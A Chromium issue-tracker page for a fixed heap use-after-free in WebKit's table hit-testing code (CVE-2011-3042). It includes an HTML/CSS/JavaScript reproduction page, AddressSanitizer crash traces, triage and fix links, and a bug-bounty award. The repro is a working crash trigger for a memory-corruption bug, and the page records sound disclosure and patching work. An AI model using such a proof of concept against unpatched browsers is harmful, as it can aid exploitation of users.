New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Feb 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Heap-use-after-free in WebCore::RenderTableSection::nodeAtPoint

Reported by miau...@gmail.com, Feb 14 2012

Issue description


VULNERABILITY DETAILS
use after free

VERSION
Chrome Version: stable, beta, dev

Chromium	19.0.1042.0 (Developer Build 121877)
OS	Linux
WebKit	535.21 (@107663)

Operating System: 64bit linux

REPRODUCTION CASE

the repro requires the mouse to be positioned over the page when it is being loaded. :D

<html>
  <head>
    <style>
      #el0 {
        display: table-cell;
        content: counter(c);
        counter-reset: c;
        width: 1000px;
        height: 1000px;
      }
      #el0::after {
        content: counter(c);
        counter-reset: c;
      }
      #el1 {
        -webkit-flow-into: a;
      }
      #el1::before {
        content: counter(c);
        counter-reset: c;
      }
    </style>
    <script>
      function crash(){
        el0 = document.createElement('div') 
        el0.setAttribute('id', 'el0') 
        document.body.appendChild(el0) 
        el1 = document.createElement('div') 
        el1.setAttribute('id', 'el1') 
        el0.appendChild(el1) 
        document.body.offsetTop
        document.body.style.zoom=2
      }
      window.onload=crash
    </script>
  </head>
  <body>
  </body>
</html>

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: tab + asan
Crash State: 

==10096== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffecc9d680 at pc 0x55555aeb1df5 bp 0x7fffffff3ff0 sp 0x7fffffff3fe8
READ of size 8 at 0x7fffecc9d680 thread T0
    #0 0x55555aeb1df5 in WebCore::RenderTableSection::nodeAtPoint(WebCore::HitTestRequest const&, WebCore::HitTestResult&, WebCore::IntPoint const&, WebCore::IntPoint const&, WebCore::HitTestAction) ???:0


0x7fffecc9d680 is located 0 bytes inside of 200-byte region [0x7fffecc9d680,0x7fffecc9d748)
freed by thread T0 here:
    #0 0x55555dab7a52 in free ??:0
    #1 0x5555599cb75c in WebCore::Node::detach() ???:0
    #2 0x55555998f375 in WebCore::Element::detach() ???:0
    #3 0x55555999080b in WebCore::Element::recalcStyle(WebCore::Node::StyleChange) ???:0
    #4 0x555559991344 in WebCore::Element::recalcStyle(WebCore::Node::StyleChange) ???:0


.....

this is in there, which might explain the mouse interaction:

    #12 0x55555993e46f in WebCore::Document::prepareMouseEvent(WebCore::HitTestRequest const&, WebCore::IntPoint const&, WebCore::PlatformMouseEvent const&) ???:0
    #13 0x55555a700509 in WebCore::EventHandler::handleMouseMoveEvent(WebCore::PlatformMouseEvent const&, WebCore::HitTestResult*, bool) ???:0
    #14 0x55555a6ffc2c in WebCore::EventHandler::mouseMoved(WebCore::PlatformMouseEvent const&) ???:0
    #15 0x5555593afbdc in WebKit::WebViewImpl::mouseMove(WebKit::WebMouseEvent const&) ???:0


 
0200.txt
10.7 KB View Download
stable-0200.txt
11.0 KB View Download
0200.html
838 bytes View Download
beta-0200.txt
10.8 KB View Download
ClusterFuzz can't touch this, probably because of the mouse thing. I'll give it a quick whirl through my local ASAN M17 build tomorrow.
Cc: mbarbe...@chromium.org
Marty, can yu try to create a DRT repro adding eventsender, that will work on CF
Summary: Heap-use-after-free in WebCore::RenderTableSection::nodeAtPoint
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=20487459

Uploader: mbarbella@google.com

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7fb9fde42e80
Crash State:
  - crash stack -
  WebCore::RenderTableSection::nodeAtPoint
  WebCore::RenderTable::nodeAtPoint
  - free stack -
  WebCore::Node::detach
  WebCore::Element::detach
  

Minimized Testcase (0.71 Kb): https://cluster-fuzz.appspot.com/download/AMIfv95rS-T5DWsQHA8xiLc70pkg52E1h44b0Km3F-_7GBKWtjqcRSbgLYaU50CdXFQIbE_cqB-ER40LkxarRx1YILSA0SASUNxgOKXlGlj3zOAadaRNIVbbGSPTPlM1BaT0LGtVvWS6S7-PLOfHLiZup43n-qsYbw
Labels: SecImpacts-Stable SecImpacts-Beta SecSeverity-High reward-topanel
Owner: jchaffraix@chromium.org
Status: Assigned

Comment 6 Deleted

Cc: -mbarbe...@chromium.org jchaffraix@chromium.org
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit Stability-AddressSanitizer Mstone-17 OS-All
Owner: infe...@chromium.org
Status: Started
Julien did the r+ magic ! Will cq after his final review round.
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
http://trac.webkit.org/changeset/108372
Labels: -Merge-Approved Merge-Merged
M17: http://trac.webkit.org/changeset/109387
M18: http://trac.webkit.org/changeset/109388
Labels: -reward-topanel reward-1000 reward-unpaid
Obviously, requiring the mouse over the page isn't a mitigating factor so a full $1000

----
Boilerplate text:
Please do NOT publicly disclose details until a fix has been released to all our
users. Early public disclosure may cancel the provisional reward.
Also, please be considerate about disclosure when the bug affects a core library
that may be used by other products.
Please do NOT share this information with third parties who are not directly
involved in fixing the bug. Doing so may cancel the provisional reward.
Please be honest if you have already disclosed anything publicly or to third parties.
----
Labels: CVE-2011-3042
Labels: -reward-unpaid

Comment 13 by cdn@chromium.org, May 15 2012

Status: Fixed
Marking old security bugs Fixed..
Project Member

Comment 14 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 15 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -SecImpacts-Stable -SecImpacts-Beta -SecSeverity-High -Stability-AddressSanitizer -Mstone-17 Cr-Content Security-Impact-Stable Security-Impact-Beta Security-Severity-High Type-Bug-Security M-17 Performance-Memory-AddressSanitizer
Project Member

Comment 16 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 17 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 19 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-High Security_Severity-High
Project Member

Comment 20 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 21 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 22 by bugdroid1@chromium.org, Apr 1 2013

Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member

Comment 23 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 24 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 25 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 26 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment